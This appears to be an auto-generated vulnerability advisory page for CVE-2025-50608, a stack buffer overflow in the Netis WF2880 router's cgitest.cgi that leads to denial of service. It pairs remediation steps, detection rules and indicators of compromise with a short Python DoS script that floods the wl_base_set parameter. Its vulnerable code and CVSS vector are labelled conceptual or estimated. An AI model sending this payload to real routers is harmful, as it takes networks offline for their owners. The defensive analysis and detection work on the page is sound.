CVE-2025-50608
Executive Summary
CVE-2025-50608 is a buffer overflow vulnerability discovered in the Netis WF2880 router, specifically in firmware version 2.1.40207. The flaw resides in the FUN_00471994 function within the cgitest.cgi file. An attacker can trigger this vulnerability by controlling the wl_base_set parameter in the payload, leading to a program crash and potentially a Denial of Service (DoS) condition. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete scoring. This vulnerability poses a risk to network availability for affected devices.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a network device.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or incomplete assessment. Based on the description, a reasonable estimated vector would be:
- Attack Vector (AV): Network (Adjacent) – The attacker likely needs network access to the device.
- Attack Complexity (AC): Low – The vulnerability is triggered by controlling a parameter.
- Privileges Required (PR): None – No authentication is mentioned.
- User Interaction (UI): None – No user action is required.
- Scope (S): Unchanged – The exploit affects the device itself.
- Confidentiality (C): None – No data exfiltration is mentioned.
- Integrity (I): None – No data modification is mentioned.
- Availability (A): High – The crash leads to DoS.
Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 6.5 (Medium)
Threat Level: Medium. The vulnerability is limited to DoS and requires network access, but no patch is available.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow (CWE-121) in the cgitest.cgi CGI binary. The FUN_00471994 function processes the wl_base_set parameter from an HTTP request. When a crafted payload is sent, the function copies the input into a fixed-size buffer on the stack without proper bounds checking. This overwrites adjacent memory, including the return address, causing a program crash.
Attack Vector:
- The attacker sends an HTTP request to the vulnerable endpoint (likely
/cgi-bin/cgitest.cgi). - The request includes a malicious
wl_base_setparameter with a value exceeding the buffer size. - The
FUN_00471994function copies the oversized input into the stack buffer. - The overflow corrupts the stack, leading to a segmentation fault and DoS.
Impact: The router becomes unresponsive, requiring a physical reboot or power cycle to restore functionality. Repeated attacks can cause persistent downtime.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code is in the FUN_00471994 function of cgitest.cgi in firmware version 2.1.40207.
Vulnerable Code (Conceptual):
void FUN_00471994(char *wl_base_set) {
char buffer[64];
strcpy(buffer, wl_base_set); // No bounds checking
// ... process buffer
}
Patched Code (Hypothetical):
void FUN_00471994(char *wl_base_set) {
char buffer[64];
strncpy(buffer, wl_base_set, sizeof(buffer) - 1); // Bounds checking
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Obtain a Netis WF2880 router with firmware version 2.1.40207.
- Connect the router to a local network and note its IP address (e.g., 192.168.1.1).
- Use a tool like
curlor a Python script to send a crafted request.
Exploit Script (Python):
import requests
target = "http://192.168.1.1/cgi-bin/cgitest.cgi"
payload = "A" * 200 # Overflow buffer
data = {"wl_base_set": payload}
try:
r = requests.post(target, data=data, timeout=5)
print("Request sent. Router may be down.")
except requests.exceptions.Timeout:
print("Router is unresponsive - DoS likely successful.")
Execution:
python3 exploit.py
Blue Team
Detection:
- Monitor for HTTP requests to
/cgi-bin/cgitest.cgiwith unusually longwl_base_setparameters. - Use network traffic analysis to detect repeated requests from a single source.
Mitigation:
- Isolate the router on a separate VLAN.
- Implement rate limiting on the CGI endpoint.
- Monitor device logs for crashes or reboots.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/cgi-bin/cgitest.cgiwithwl_base_setparameter exceeding 64 bytes. - Repeated connection timeouts to the router's IP address.
- HTTP POST requests to
- System:
- Router logs showing segmentation faults or crashes in
cgitest.cgi. - Unexpected router reboots without user intervention.
- Router logs showing segmentation faults or crashes in
Detection Engineering
YARA Rule
rule CVE_2025_50608_Netis_WF2880_DoS {
meta:
description = "Detects exploit attempts for CVE-2025-50608 targeting Netis WF2880"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-50608"
strings:
$cgi_path = "/cgi-bin/cgitest.cgi" ascii wide nocase
$param = "wl_base_set=" ascii wide nocase
$overflow = "AAAA" ascii // Indicator of long payload
condition:
$cgi_path and $param and #overflow > 10
}
Sigma Rule
title: CVE-2025-50608 Netis WF2880 DoS Attempt
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting cgitest.cgi with long wl_base_set parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/cgitest.cgi'
cs-uri-query|contains: 'wl_base_set='
sc-bytes|gte: 200
condition: selection
falsepositives:
- Legitimate large configuration values (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-50608 Netis WF2880 DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/cgitest.cgi"; http_uri; content:"wl_base_set="; http_client_body; pcre:"/wl_base_set=[A-Za-z0-9]{100,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the Netis WF2880 on a separate VLAN or behind a firewall to limit exposure.
- Disable remote management: If not required, disable WAN-side access to the router's web interface.
- Monitor logs: Enable logging and monitor for crashes or unusual HTTP requests.
Long-Term Actions:
- Contact vendor: Reach out to Netis for a firmware patch. If no patch is available, consider replacing the device.
- Implement WAF: Use a web application firewall to filter oversized
wl_base_setparameters. - Network segmentation: Restrict access to the router to trusted admin IPs only.
Workaround: If patching is not possible, block HTTP POST requests to /cgi-bin/cgitest.cgi at the network perimeter.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.